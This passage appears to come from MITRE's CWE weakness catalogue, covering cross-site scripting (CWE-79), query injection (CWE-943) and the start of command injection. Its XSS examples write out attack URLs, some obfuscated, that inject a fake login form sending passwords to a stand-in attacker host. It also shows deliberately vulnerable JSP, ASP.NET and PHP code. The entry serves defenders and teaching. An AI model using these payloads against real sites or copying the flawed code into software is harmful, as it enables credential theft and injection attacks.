This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

+ Observed Examples
ReferenceDescription
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete blacklist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete blacklist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1033OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
+ Notes

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <http://en.wikipedia.org/wiki/Cross-site_scripting>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <http://msdn.microsoft.com/en-us/library/ms533046.aspx>.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <http://blog.modsecurity.org/2008/07/do-you-know-how.html>.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. <https://en.wikipedia.org/wiki/Samy_(computer_worm)>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID: 943
Abstraction: Class
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
+ Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

  • Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
  • Append additional commands to the query
  • Return more entities than intended
  • Return fewer entities than intended
  • Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.90Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.643Improper Neutralization of Data within XPath Expressions ('XPath Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.652Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.90Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.90Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.643Improper Neutralization of Data within XPath Expressions ('XPath Injection')
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.652Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Bypass Protection Mechanism; Read Application Data; Modify Application Data; Varies by Context

+ Observed Examples
ReferenceDescription
Injection using Documentum Query Language (DQL)
Injection using Documentum Query Language (DQL)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Maintenance

This entry will be made more comprehensive in future CWE versions.

Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.
+ Content History
Submissions
Submission DateSubmitterOrganization
2014-06-19CWE Content TeamMITRE
Modifications
Modification DateModifierOrganization
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Observed_Examples, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID: 77
